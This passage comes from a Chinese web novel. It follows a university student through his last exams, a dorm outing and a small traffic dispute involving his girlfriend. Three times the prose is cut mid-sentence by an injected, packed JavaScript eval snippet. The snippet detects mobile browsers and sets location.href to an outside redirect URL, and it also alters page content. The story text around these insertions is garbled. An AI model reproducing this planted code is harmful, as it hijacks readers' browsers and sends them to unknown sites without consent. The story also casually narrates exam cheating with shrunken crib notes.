黎一步步走近,架起二郎腿坐在我身旁,不轻不重地捏着我的脸,悠哉地打趣着:“顾懿啊顾懿,你可真厉害呀,和哪个小姑娘都能聊一块儿去!” 有时候我真挺佩服那种即使有不满情绪,还能不厌其烦表达自己想法的人,因为我感到不满后就会立马冷淡,一句话都懒得说。 我和云舒相谈甚欢,这引起了相黎的不满;同时,我也对宁致炫耀他和相黎的亲密过往而感到不快。 庆幸的是,我一直很理性地看待所有事情;可悲的是,我是个感性的人,所有的情绪我一样也没有逃过去。 “你还来做什么,不去安顿你的好朋友?” “来接我的小宝贝回家,我怕他和陌生人说话被拐走喽!” 看了下时间,已经十点半了,一下子我变成了一个“无家可归”的孩子,学校的“妈妈”已经为我紧关归家的门。 “无家可回喽,等回学校估计十一点多了,宿管阿姨估计要拿小本本记我名字。” “有我在,你在这个城市就有去处……走,我找了一部电影,咱俩一块儿看……” 相黎从小接触最多的就是大提琴和钢琴,据她所说,她看过琴谱上的音符比语文课本上的汉字都多,基本上没有什么娱乐活动。而我和大多数小孩一样,从学习上挤出来的时间全用在了玩上面,对比之下我涉猎过的影视剧和动漫、游戏等显得富余。 在这方面,我是个富有的国王,她却是一个落魄的乞丐。 至于她说的找了部电影和我一起看,八成又是很经典的恐怖片,她一个人在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039906|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢看。她对国内早期的一些经典电影、电视剧真的丝毫没有了解;我因为看得太多,对这些影视剧的套路摸得清清楚楚,以至于我和她一起看的时候毫无波澜,而她常常是被吓得缩成一团。 相黎站起身,步履轻盈,径直走向唱台上取回了我谋生的吉他。如果说相黎是我的爱人,那把吉他便是我的情人,她们之间没有醋意,不会争锋相对。 “背好你的小老婆,咱们回去了!” 我顺势蹲下身,双臂往后摊,意味深长地说道:“收到!老婆上来,咱们回家!” 相黎紧紧地咬住嘴唇,似乎想要把到嘴边的话咽回去。她的脸瞬间变得通红,就像熟透的苹果,一直红到了耳根。她低下头,长长的睫毛轻轻颤抖着,过了好一会儿,她才缓缓地抬起头,眼神中露出一丝羞涩。 她的声音略微有些颤抖:“谁是你老婆?” “我的老婆被你攥在手里呢,放开她,别把她弄疼了!” 相黎听闻气得直跺脚,背着我的吉他夺门而出。 宇哥和彤姐被逗得捧腹大笑,我示意了一下追了出去,今天的工作就算是下班了。 …… 相黎在前面头也不回地疾走,我在后面慢跑着追赶,不出一小会儿,我便追上了这只暴躁的小猪崽。 “喂,同学你好,这是我的吉他,请把它还给我……” “能不能把吉他还给我……” “同学,你怎么生气了,谁和你吵架惹你不开心了呀?” “是不是你男朋友和你吵架惹你不开心了,这样吧,你和他分手做我女朋友,我让你天天开心好不好?” “好不好?” “好不好?” 相黎终于放缓了脚步,她的肩膀微微颤抖着,在努力平息内心的波澜。她取下背上的吉他,动作有些迟缓,斜挎在身前,简单弹奏了起来。 “同学,你怎么生气的时候还在弹吉他?” “我弹得好不好听?” “可以吗?” “好不好听?” “可以吗?可以和你的男朋友分手做我女朋友吗?” 相黎面对我的死缠烂打,不耐烦地嗔道:“不可以!” “可以吗?” 相黎一个劲儿地摇头,嘴里不停嘟囔着“不可以,不可以……” “不可以?不可以就把我的吉他还给我!快点!” 她对我紧箍咒一样的念叨置若罔闻,加快了步伐,不一会儿,她突然停下脚步,松了松吉他的背带,双手叉腰伫立在原地,幽怨着脸,嘴里蹦出轻声细语的两个字:“累了……” 我走到她跟前,蹲下身,依旧是双手往后摊,语气故作强硬,说道:“累了?我可是只背自己的老婆的哦!” 只感觉后背一沉,相黎不假思索地趴在我身上,我再也忍不住,露出幸福的笑容,承载着相黎和吉他的重量。 一人一琴的重量对我来说,恰到好处的热烈,恰到好处的温暖,恰到好处的不偏不倚,全是爱情的重量。背起她,就好像真正地背起了我们之间的爱情。 灰溜溜的街道、我们周围零星的行人车辆,好像变成一幅单线条的、凝滞不动的、没有时代特点的背景。我们俩被灯光无限拉长的背影,便是幸福的长度。 “傻瓜,慢一点,不要再摔着啦……” 第17章 告别考试 往后的大半个月,天公一直不作美,接连都是很少能看到太阳的阴雨天,阴沉沉的天幕压得人喘不过气来,偌大的校园也笼罩在了一层临近终章般的雾气之中。 终于,大学里所有的课程皆落下帷幕,剩下的就是一两门课程的结课考试,还有即将面临的毕业论文选题。 …… 我们寝室最神奇的地方就在于,结课考试开始前一个小时,还会有两个人在打游戏,便是我和高炜——这都要归功于同寝学霸兼班长的万琛和女生那边的虞寒艳,他们像妈妈一样把饭喂我们嘴里,为我们总结好了所有会考的知识点,最后只需要用到考试秘技:缩印大法。 缩印,简单来说就是把一本书的精华知识点分成6版打印在一张a4纸上,随后把a4纸上的墨粘在透明胶带上面,再用清水浸泡,清洗掉纸张部分,留在胶带上面的只有黑色的知识点。最后,就只要把带有考点答案的胶带粘在不起眼的地方带进考场,就能浑水摸鱼通过考试。 这种投机倒把的法子还是同寝室的抽象乐子人阿乐献出的妙计。 阿乐原名胡嘉乐,因为和一个lol职业选手ale同名,我们都管他叫阿乐;阿乐是一个典型的技术宅,八成的时间都在捣鼓他的电脑,除了必要的活动,很少见他迈出过寝室的房门。 用他的话来说,他的思想已经顺着网线走遍了世界上每一个角落。 如果说我的另一半是吉他,阿乐的另一半就是电脑。他在大三的时候就放弃了本专业的课程,一个人自学计算机的考研专业课,缩印大法就是他为了应付本专业的结课考试在网上学的小妙招。 …… 今天是一个很特别也很普通的日子,过了今天大学里就再也没有考试。我们全寝四人众志成城,从头到脚全面武装去参加大学生涯的最后一次结课考试。 我们管这叫——仪式感。 真实情况却是:衣服武装得越全面,藏小抄的操作空间就越大。 因为最后一学期学生们都在忙着考研、考公,老师们大都睁一只眼闭一只眼,所以考试很轻松地过了。 考完试回寝室的路上,我们寝室一行人踏着被雨水完全浸湿了的路面,路旁的香樟树在我们的说笑声中,被冷风摇晃着瑟瑟发抖,冰冷的水珠断断续续从叶尖儿往下滴,似乎只要抖落了这些水珠就可以彻底摆脱寒气。 我那颗跟着雨天一起湿透了的心却并没有因为摆脱了考试而变得明媚,尽管我不喜欢上课,更不喜欢考试。 忽地想起就业指导课上,辅导员提出“显性考试”和“隐性考试”的概念。书面化的考试最后总会有一个亮晃晃的数字用来恒定价值,叫显性考试;人生中面临更多的是隐性考试,遇到的每一个人其实暗中已经为你打好了分数,而你却看不到那个准确的数字。 今天,我们正式告别大学生涯最后一场显性考试,却依旧没能走出考试的阴雨天。 …… 我们四人在乌云下憧憬着没有考试的晴天,就连一向宅出天际的阿乐也提议出去聚餐,来祭奠大学四年在宿舍、食堂和教学楼之间奔波燃烧的所有卡路里。 高炜第一个站出来持反对意见:“我不聚,上次救济顾懿的500大洋到现在还没见着落,哥们现在生活费严重赤字!” 阿乐左手搂着高炜,右手搂着我,一边安慰着高炜:“炜哥,看开点,权当做投资了,你现在投资500块在懿哥身上,就好比当年买了比特币,等懿哥做了沪爷的金龟婿,500块就是九头牛身上的一根毛!” 另一边他又歪过头戏谑道:“这四年,咱寝室就懿哥小日子过得最舒坦,吃好、喝好、玩好,最可恨的还认识了富婆,这泼天的富贵怎么就偏偏落在你头上?可恶啊!” “别叭叭了,你们俩一唱一和地找我催账是吧?今儿上午刚结的工资还没捂热乎呢,待会儿给炜哥转个520,让炜哥发朋友圈装一波!” 前些日子每晚去宇哥的小酒馆定点驻唱,上午宇哥给我结了2000块工资,还高炜500,再还个花呗,也没剩下几百块钱。 万琛在一旁看我们仨人玩笑,平时不苟言笑的他这时却突发感慨,回忆道:“唉……当初咱们都以为顾懿会和寒艳成一对儿呢,都怪顾懿太直了。” “寒艳也直!”高炜补充道。 …… 不可否认,我确实是一个钢铁直男,而虞寒艳只是性子比较直。都说直性子的女人不如那些性格绵软的人好相处,因为她们说话往往直来直去,很伤人。 她是典型的生人勿近,刚接触虞寒艳的时候,常常会有这样的感觉,她给我的第一印象便是清纯外表御姐心,毒舌、强悍、冷美人是她的标签,直到现在快毕业了也没从她的嘴里听过几回我的好话。 可一旦做了朋友她就会掏心掏肺,她从不迎合,不为了融入一个团体刻意改变,可她最终鬼使神差地加入了我们这个圈子。这么傲娇的一个人,每逢考试的时候也会尽心尽力地为我们整理知识点——要知道以她的成绩,考试内容全都了然于心,根本没必要花大把时间在考试前把每个知识点整理得一清二楚。 阿乐常挂在嘴 边的一句话便是,我们寝室没有寒艳会散! …… 因为万琛刚才提了一嘴,高炜、阿乐一下子就把话题从聚餐引到了虞寒艳身上。 “懿哥最开始打游戏的时候是个铁分奴,人家寒艳玩得菜,懿哥一局游戏小嘴叭叭就没停过,寒艳那脾气能忍?” “本来就是,懿哥又当又立,要寒艳给他拉分,又要求寒艳不能坑,坑了还要指指点点,他们俩打游戏吵多少次了?吵最凶那次两人就差出去干一架了,哈哈……” “谁说不是,自打那次过后,到现在都没见寒艳上线过,有两年多了吧?” “懿哥纯纯看人下菜,就没见他跟相黎横过,同样是打游戏相黎坑了,他就知道背后跟咱们吐槽,以前寒艳坑了每回都是当面喷,人家再怎么说也是女孩子呀……” “寒艳当初肯定对懿哥有意思,换个女生早走人了,不可能忍你这么久……” 最后万琛一锤定音,从他的角度客观评价了这件事:“这样也好,寒艳从来就不是个爱玩游戏的女孩子,属实没必要通过打游戏硬融入我们,好好学习才是最适合她的。听说她考研报了同济大学,希望最后能有个好结果……” 他们几人轮番审判着我的恶行,听起来我曾经对待虞寒艳多么的尖酸刻薄。 这一点,我没法辩解;但是虞寒艳的反骨性人格也是真的。 不光是打游戏,她在很多事情上都很难听进去别人的意见。她不喜欢束缚,更不需要谁的指点,很难完全服气他人,也很难一直乖乖听话。在她看来,任何不是自己主动寻求的“外援”,都等同于是在变相干涉自己的人生。 归根结底,虞寒艳太要强了。 我不一样,我只在感兴趣的事情上要强;她做的每件事都要争,达不到预期效果,是会让她感到备受打击的。 高炜、阿乐对我的评价很中肯,打游戏的时候我是个“分奴”,严格要求自己,同时也严格要求我的队友;如果虞寒艳打游戏的时候佛系一些,不那么较真,我自然也不会言语激昂。 可她偏偏就是天生的反叛、不服输。 所以,我在和她打游戏的时候,越是“喷”她,她越是要继续玩,完全是因为她不承认自己的“菜”。 最后,她不打游戏,一部分原因是看清了现实,另一部分原因是我的不“怜香惜玉”。 出于这个原因,我和虞寒艳大学几年常常互损,不给对方留情面。 …… 万琛的说法让高炜、阿乐纷纷表示赞同,好像差点让我这个学渣耽误了我们专业的美女学霸。 说话间,不时地又吹来一阵风,路旁的樟树在风中摇着头,仿佛也忍不住抱怨我的不解风情,双肩止不住地抽搐,招展的枝丫簌簌作响,帮衬着几人指责我的错误。 我举双手作降,大喊着:“什么坏事都是我一个人做的,我有罪!我在孟婆汤里加红茶,我偷了蟹老板的蟹黄堡秘方,我带灰太狼进羊村,我讲冷笑话让地球进入冰河时代……我有罪,我忏悔!” 高炜三人对视一笑,目光闪动,让我突觉不妙。 高炜率先发声:“光忏悔没用,要付出实际行动!” 阿乐一旁帮腔:“晚上顾总表示表示,没有寒艳,估计你毕业都够呛,咱们专业多少人补考不过重修的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039907|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重修一学分50块,算下来人家帮你省了多少重修费,请寒艳吃顿饭,仗义点!让我们也沾点光,你在外面和富婆山珍海味吃遍了。咱哥儿仨在寝室都馋哭了……” 我赶忙打断这几人的幻想,“打住啊,我和相黎都继承了中华民族勤俭的优良传统,外面不见得吃得就比食堂好,阿乐和高炜也没少用小抄,你们俩出资,我挑地儿,咱仨儿请寒艳吃顿好的,钟璇一起,炜哥你也不亏,肥水不流外人田,对吧?” “啊,对对对!守财奴,咱几个aa行了吧……” …… 灰蒙蒙的天,总会让人感受到一丝沮丧。整个世界都被笼罩在一片朦胧的氛围中,让人难以看清前方的道路。 还不到五点钟,天就快黑得快看不见了,灰色阴凉的气息在对面楼各个寝室的灯光之间徘徊。像是一面镜子,对面看我们应该也是既灿烂,又黯淡。 在这个阴天,我们寝室却是异常欢愉,几人在“仙女驻凡大使馆”的6人寝室群里讨论得异常火热,为晚上聚餐吃什么献策。 这个群最早是我们四个男生的寝室群,自从高炜和钟璇好上后,他竟然出卖兄弟拉女人进群,钟璇进群后不久就改名“仙女驻凡大使馆”,她是馆长,又擅自拉虞寒艳进群并且任命虞寒艳为副馆长,直接吞并了我们寝室原先的“相亲相爱一家人”,逼得我们四人背地里又创建了一个“相亲相爱一家人20”。 挑选了一下午,几个活宝也没能统一意见吃什么东西,最后还是遇事不决地锅鸡。 地锅鸡,谈不上多好吃,但是谁也挑不出毛病。跟比赛时评委打分一样,去掉一个最高分,去掉一个最低分,地锅鸡不高不低的得分却成了最后的选择。渐渐地,地锅鸡就成了我们大学聚餐吃过最多的菜。 …… 群里约定好六点钟在西门集合,我 们四人硬是在学校西门从六点等到了六点二十也不见虞寒艳和钟璇人影。 只能在群里看到简短的三个字:在路上。 在路上,一直在路上…… 对于等待的人而言,感知到的时间和客观时间是不一样的,度日如年这个成语就非常形象地揭露了两者之间的关系。 “早知道在宿舍楼下等就好了!” “你说的,在女生宿舍楼下等被人看到不好!” 阿乐和高炜这对活宝等着着急,心急如焚地开始争论,来回踱步着,不时地踢出去脚下的小石子儿。 “怎么还没来?” “人来了!” 远远看到了她们二人模糊的身影,万琛喜出望外,原地踩着碎步,叹息道:“她们这化妆时间够久的,做女人真难!” “做女人难,做男人更难!”我、高炜和阿乐三人异口同声地抗争道。 就在他们那焦灼不安的内心趋于平静的时刻,我的手机忽然响起,是相黎打来的电话。 我的心不禁咯噔一下,一种不好的预感涌上心头,在心里暗暗祈祷着不要出什么事。因为没事的时候她从不会用手机号码给我打电话,而是用微信。 接通电话后,我能感觉到电话那头的她语气焦急,声音中还夹杂着些许嘈杂的背景声。 大致情况就是她开车时遇到一个恶意别车的,两车在过程中发生了轻微的碰撞。此刻,她正与对方理论,形势似乎有些不妙。 听着相黎的讲述,我的心跳愈发急促,脑海中不停地闪现出各种糟糕的画面,心一下子提到了嗓子眼,着急得犹如热锅上的蚂蚁。 对众人阐明状况以后,我准备放这边鸽子,赶往相黎的事故地点。 首先迎来的便是钟璇毫不留情的一通责备:“顾懿,大张旗鼓说要请客的人是你,说不去的人也是你!开弓岂有回头箭?” 她和虞寒艳着实颇为相似,皆属于直来直去的性子,丝毫不会拐弯抹角,通常都是直抒胸臆。 “你们去吃不一样的吗?姑奶奶,你们放开吃,我a一半,够仗义了吧……情况紧急,相黎她一个人在那边孤立无援的,我不放心,事情解决早的话我赶过来!” 高炜三人过来帮我解围,苦口婆心地才让他这个宝贝女友平息了怒火。 “我要吃穷他!谁也别拦着我!” 第18章 情感导师 相黎发过来的位置是中环购物中心,我心急如焚,仿佛热锅上的蚂蚁,顾不上去搭乘公交或者地铁了。我站在街边,目光急切地四处搜寻着出租车的身影,就像在沙漠中寻找绿洲一样。 终于,一辆空车出现在我的视线中,我连忙伸手示意,犹如溺水者抓到了救命稻草。我一个箭步冲上前去,拉开车门,迅速钻进车里,“师傅,去中环购物中心,麻烦开快点!” …… 等赶到地方,已经接近七点,正是中环城最拥挤的时候,人如潮,车如龙,熙来攘往的人群、车流与霓虹交相辉映,灯光恍惚,亦幻亦真。 堵车其实是一个城市繁荣的标志,如果一个城市没有堵车,那它的经济也可能凋零衰败。这一带堵塞的交通使我愈加急躁、窒息,我大老远就看到相黎的车在路边打着双闪,另一辆发生剐蹭的车依旧停在路中央,车后方竖着三角警示牌。 我走过去轻轻敲她的车门,她没有回应,隔着隐私玻璃也看不见她在车里做什么,我加大力度再次敲了敲,她这才徐徐摇下车窗。 她的车子没有熄火,发动机发出轻微的嗡嗡声。车里音响正放着歌,车子不像出了事故,人也不像发生了什么故事。 “哟,看你这样子优哉游哉的,也没啥事啊……” 相黎将车子熄火,从车内迈出,然后狠狠地关上了车门,满脸不悦地抱怨道:“真是烦死了,碰上个蛮不讲理的家伙,非要强行加塞,可又塞不进来,我没给她让行,她就恶意别车,结果就蹭上了……百分百是她全责,可她倒好,在这儿胡搅蛮缠,我懒得跟她争辩,干脆就在车上待着……你瞧,她非得说是我的责任,车子还停在那儿没动呢!” “人呢?” 相黎朝四周打量了一番,扭头示意,“就打电话那女的!” “报警了吗?” “打过了,应该快到了,我这个超级智能的行车记录仪拍得清清楚楚,待会儿一定给她处理得明明白白!” 我稍稍皱了皱眉头,不解地追问道:“那么,我来这里的意义是……” 相黎双手抱在胸前,下巴微微上扬,眼神中带着点儿小倔强,理直气壮地回答道:“她叫人了,我当然也得叫人,可不能在阵势上输了!” “i真服了u!” 我竖起大拇指,相黎处理事情一如既往地稳。若是晚上没有出这档子事情,我在另一边本该是饭局中备受瞩目的核心人物,而不是在这边给眼前这位小祖宗充当撑场子的工具人。 我斜倚在主驾驶的车门上,静静地陪着相黎一同等待交警的到来。 副驾驶的车门忽地开启,传来一阵清脆的女声。我骤然回过身,惊愕不已,方才竟然丝毫没有留意到副驾位置上还坐着个人。 “小排骨,你是一点都注意不到我呀?” 说话的人是相黎住校时的室友李悠,李悠略带责备,充满挑逗地问道。 见到我一脸诧异,李悠的脸上流露出满意的神情,笑着说道:“别摆出这般惊讶的模样,你刚刚眼中只有妮妮,我这么大个活人坐在副驾之上,你竟然都视若无睹?” “好久不见了,李老师!” “孺子可教也,还记得我是你的情感导师呢,一日为师……” 我匆忙打断她的话语,因为李悠的行动和说话的思路往往犹如天马行空一般,若让她继续说下去,那就不晓得她会从“一日为师”扯到“终身为何”了。 “一日为师,终身为师……” …… 看到李悠,我想起和相黎初遇的时候,那时“悲观骑士”刚组建,为了顺利完成乐队在草地音乐节上的首秀,乐队哥几个排练许巍的《故乡》排练了大半个月。功夫不负有心人,那一晚的首秀很成功,面对体育场人山人海的观众我们没有怯场,收获了无数掌声和尖叫。 散场时,李悠满心欢喜地拉着相黎,像两只灵活的兔子在人群中穿梭,来到我们身边,二话不说就帮忙收拾起演出用的器材。 她双手迅速地整理着各种道具,偶尔抬手擦拭额头上的汗水,嘴也没闲着对我们说着夸赞的话。她的热情让我们乐队几人心里一乐,觉得这一番辛苦没白费,首演就收获了一个死忠粉。 相黎很沉稳,不似李悠那般激进,只在一旁微笑附和着李悠的赞美,不时地点评着演出时的亮点和不足。 那时候,我们被淹没在掌声中,面对忠言逆耳的“挑刺”丝毫听不进去;后来随着与相黎的交往逐渐深入,彼此间愈发熟络,我才深刻地意识到自己那时候是多么的愚昧无知,她简直是位大师,而我在她面前,无疑就像是一个懵懂无知、天真幼稚的小学生…… 正因为有了李悠这个“铁杆粉丝”的存在,才搭建了我和相黎之间沟通的桥梁,也才有了后来的故事…… 李悠和相黎两人,我先加了李悠的微信,给狂热粉丝一个微信,这是令我感到倍感自豪的一件事。 恰好这位狂热粉丝和我私下有个共同的爱好——打王者荣耀,李悠便拉着我和相黎组成了“铁三角”。 我们三排时,通常都是李悠一个人在游戏里情绪高涨,自顾自地开着麦聊得火热,我和相黎 却默不作声。 微信聊天的文字是冰冷的,游戏开黑时的语音饱含情感。记得第一次开黑,李悠就在游戏语音里对我查户口似的连番审问,我则在聊天框里逐字回复这位粉丝的热情。 “你家哪儿的?” “安庆。” “安庆哪儿的?” “桐城。” “桐城有个六尺巷吧?” “对。” “六尺巷那个诗你会背吗?就是那个什么‘让他三尺又何妨’?” “忘了。” “我还以为桐城人都知道呢,哎你不是一个合格的桐城人,要好好反省一下知道吗?” “……” “你叫顾懿,你父母怎么想着给你起这么个名字,顾懿?故意?” “可能是故意起的名儿。” 我记得她笑得很开心,那笑声仿佛可以生吃一个小孩下去,尽管只有她一人开麦,气氛也不乏欢乐,连一直没讲过话的相黎也不时在公屏上扣出“哈哈”字样。 …… 回想着和她们二人初识的场景,我嘴角不觉露出一丝笑意。 “笑什么?没有李老师这个满分僚机在,你们两个闷葫芦还能顺着藤结出果来?” 见相黎笑而不语,李悠一转攻势又对我发起总攻。 “笑,就知道笑!顾懿,我不光是你的语文老师教你背《六尺巷》,还是你的资深情感导师,给你解决了多少感情问题?为了你们这一对儿,李老师可谓是跑断了腿,说破了嘴,呜呜……现在李老师饿了,要吃饭!” 相黎挽起李悠的手臂,抓着李悠的手,微微晃动着,如同小女生般娇嗔着。她转过头,没好气地向我投来一个眼色,说道:“李老师教了你这么多东西?李老师饿了,你看着办吧!” “哼哼,顾懿,我这宝贝闺蜜都卖给你了,你真该给我当四年饭票!不过呢,你给我当饭票,我怕妮妮吃醋,嫁出去的闺蜜,泼出去的水……现在你们俩一条心了,我这孤家寡人讨人嫌哟……” 女人的话,很多时候男人无法反驳,特别是李悠这样浑身是嘴的女人。 “这不等警察叔叔过来吗?有哥在,不会让你饿死的……” …… 不一会儿,交警便到达了现场,接踵而至的还有一位意料之外的不速之客,宗斌。 车子发生剐蹭的那个女人见到宗斌,显现出一种难以言表的激动,大声呼喊道:“我在这儿!” 要说当初我和相黎离队,宗斌对我们是抱有成见,那么自从我和他打了一架之后,我和他就是仇人见面,分外眼红。 不出所料,宗斌看到我们几个熟面孔也是满脸疑惑。谁也没想到这么大城市,我们几个还能因为一起小交通事故再次聚在一起。 “嫂子,我在学校里有事在忙呢,我哥不管这事,我也不想管啊……” 宗斌在面对女人时显得有些孩子气,拖腔拉调地说道;当他看向我们仨时,却又是换了一副脸色。 他嘴角上扬,带有几分戏谑的神色,不紧不慢道:“嫂子,你和这群乳臭未干的小鬼计较什么,走快赔不就完了?”说这话时,他还特意挑了挑眉,朝我意味深长道:“看这几位也不像是不讲道理的人,你说是吧,顾懿?” 宗斌那听上去很诚恳的话语,像是在耐心地劝解着女人,实质上,他的语气中,带着一种让人难以忽视的阴阳怪气,每个字都是说给我听的。 他的眼神不时地向我这边瞟来,其中蕴含的意味,让我感到一阵不适。 女人也是摸不着头脑,疑惑道:“你们……认识?” 这个听着是宗斌嫂子的女人三十来岁的模样,看起来虽憨,却也不像是好说话的主儿。 眼见当事人都发话了,我上前与她沟通:“嫂子姐,你看交警叔叔也在场,让交警叔叔出个责任认定书,咱们走快赔好吗?你急的话,私了也是可以的呀。” 女人点头默许。 两名交警同志见状,迅速绕车查看了一圈。相黎积极配合交警的工作,一起回看了行车记录仪记录下来的全过程。 “你们既然认识就好办了,美女你赶紧把车挪到边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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另外那名工作人员先是将目光投向车辆,端详了一番,接着又把视线移到我们身上,道:“你们既然认识,是私了还是走快赔你们自行决定,我建议是私了,你们的车都不便宜,就是点小摩擦,出险的话划不来。” 他们二人说完悄悄话,女人听取了工作人员的建议选择私了,给相黎扫码转了800。 看着她一脸愤愤不平的样子,显然是对等待了这么久的责任认定结果很不满意。 在给相黎转了补车漆的赔偿费用后,她肃然说道:“法治社会都是讲理讲法的人,不讲理不讲法的人有的是苦头吃。” 临走前,她又冷漠地瞥了我一眼,沉声道:“年轻人性子不要太急,做什么事要三思而行,法治社会讲的是法,不是哪个拳头硬哪个就有理,用拳脚说话是最无能的表现!” 李悠凑到我身边,不解地问道:“嫂子姐嘀嘀咕咕在说什么?” “不知道。” 我心里其实清楚,肯定是宗斌在背后提了一嘴,嫂子姐才会有这般表现。 我所认为的一切对的,合理的,在另一群人看来则可能是完全莫名其妙的;而一些完全不可理喻的事情,则可能是另一群人的家常便饭。 宗斌和那个女人觉得他们是在权衡、在思考,而实际上他们只是在重新整理自己的偏见。即使已经被判定全责,可能她也觉得错不在自身。 …… 处理完这个小插曲后,我们仨在中环城这边悠然地漫步着,目光不停地在各式各样的餐厅招牌上扫过,互相交流着意见,思考着准备吃什么。 首先,我就排除了地锅鸡。 李悠突然灵光一闪,以为是想到吃什么,她问我:“顾懿,你怎么想着叫她嫂子姐?” “难不成叫她老嫂子?” 交通事故的阴霾在我们欢乐交谈中一扫而尽,李悠又是想到了什么,挠头道:“嫂子姐的这个小叔子,我好像在哪里见过?” “您可真是贵人多忘事,宗斌是我之前那个乐队的鼓手,您那会儿不是一个劲地追捧我们吗?女人真是善变……” 李悠摇摇头,道:“嘶……不对,不对……” 她又拿出手机翻着微信通讯录,认真且专注。 “你应该有他微信才对啊,李老师……” “我才没他微信呢,我就加了你一个!当时妮妮看你唱歌,眼睛都在冒光,我才跑上去加你微信的,你以为你们乐队真有多牛掰?其他那些人我早就抛到九霄云外去了……” “我知道等会吃什么了!” 相黎和李悠几乎在同一瞬间把目光投向我,异口同声地问道:“吃什么?” “虾仁猪心。” “顾懿!你别打岔!”李悠的双眼紧盯着手机屏幕,手指在屏幕上快速滑动着,突然激动得无以复加。 “我想起来在哪里看过他了!” 第19章 公主与骑士 李悠眼睛直勾勾盯着手机,我和相黎在前面晃晃悠悠,不紧不慢,始终和她保持一样的速度。 相黎揪了揪我的袖子,让我看向不远处一只打扮得花里胡哨的萨摩耶,那是一只漂亮且优雅的狗,浑身的毛发白得耀眼,如同冬日里纯净无暇的雪花,散发着一种圣洁的光芒。它的主人精心为它穿上了一条橙色的小碎花裙,两只耳朵上还别着粉色的蝴蝶结发卡,随着它的动作轻轻晃动,在微风中翩翩起舞。 “城里的千金大小狗,真会玩……” 我想起老家的“斑斑”,吃着残羹冷灸,一辈子没洗过澡,没穿过衣服,更别提吃什么精致的狗粮了。在这个强调人人平等的现代社会,狗狗尚且如此,何况是人类社会呢? 斑斑拥有贵族狗狗没有的一样东西:自由。 如这般精致的萨摩耶千金,身上总少不了系着一根限制自由的绳子,这个样样都讲规矩的城市就是容不下一只几十斤重的狗狗;还是斑斑自在,方圆几十亩地随它撒欢。 我突然惊觉,是不是想得有些多了?悲天悯人,那是诗人的事。 “我猜你肯定在想奶奶家的斑斑。” “是啊,穷养和富养的差别。” 相黎苦笑一声,“顾懿,你说这只萨摩放在乡下散养,它会不会高兴得疯掉?” “也许吧……” 李悠打断我们,焦急地暴喝:“你们有没有在听我说话!” 相黎连忙哄道:“李老师,我们一直在竖着耳朵听呢……” 我对李悠在什么地方见过宗斌并不感兴趣,但悬疑的气氛烘托到这儿了,于是我配合地询问着。 李悠将手机递到了我跟相黎面前,只见屏幕上显示着一个备注为“陈佳”的人所发布的朋友圈动态。仔细一看,竟然连续好几条都是她与宗斌两人大秀恩爱的记录。 最近有一条是圣诞节晚上发的,陈佳吐槽美好的圣诞节遇到一只会咬人的狗,还特意在他们二人恩爱合照后面附了一只恶犬的配图。 狗狗本应该是人类最为忠诚的好伙伴,但到了陈佳这里,却被硬生生地扣上了“恶”的帽子,这其中的原因,恐怕大部分都要归咎于我吧……如此想来,在她眼中,我恐怕也不是什么善茬儿,说不定还是个十恶不赦之人!当然,她在我这儿肯定也好不到哪儿去。 即便如此,我也绝对不会在背后配上一张狗的图片来暗讽她。 顺着李悠手指滑过的地方,我浏览着陈佳更新的朋友圈动态,嘴角不由泛起一丝冷笑,用相声中的那种经典腔调调侃道:“这娘们可不像个好人呐……” 李悠问:“你还记得这娘们是谁吗?” 我拥有一个擅长选择性遗忘的大脑,有些负面的事和人客观上是存在的并且严格意义上我并没有忘,但还是变成了一个个迷糊的光点,被藏在了一个很深的角落。 如果没有发生圣诞夜的小插曲,陈佳这个人在我的记忆里应该早就已经模糊,可偏偏又让我重新回想起这段令相黎不快的记忆。 …… 人往往能够容忍一个陌生人的成功,但却难以忍受身边熟识之人的春风得意,特别是对于同性、同类。人的各种情欲中,唯爱情与妒忌最惑人心智,这两种欲望都能激发出强烈、不可控的愿望,创造出虚幻的意象。当一个人本身缺少某样东西的时候,看到他人拥有,就要贬低他人以求两者的平衡,来使自己得到一种赏心悦目的愉快。 相黎生来拥有的,却是陈佳一直渴望得到的。 善妒是人之常情,过度嫉妒便是一种心理疾病。陈佳因为不满相黎而引发的一系列行为已经超过嫉妒的界限,上升到了人身攻击的范畴。 当初捕风捉影的谣言在她们班级里流传开来的时候,碰巧那两周我在外地实习。相黎微信上和我说她最近在校外租了个房子,正在忙活搬家的事。我说等我回来,帮她搭把手,不至于她一个人忙前忙后。 她拒绝了我的好意,说她自己可以应付。 那阵子她和我微信上的交流不多,或者说是她对我单方面的回应不多,我给她发了很多实习过程中遇到的有趣事情,却很少得到她的回应。 相黎在微信上一反常态的行为,起初我并没有太在意,以为只是搬家劳累带来的疲惫感才让她那段时间整个人寡言少语,我只好微信上联系李悠,希望李悠可以多多帮衬一下,等我回来一定请她吃顿大餐好好感谢她。 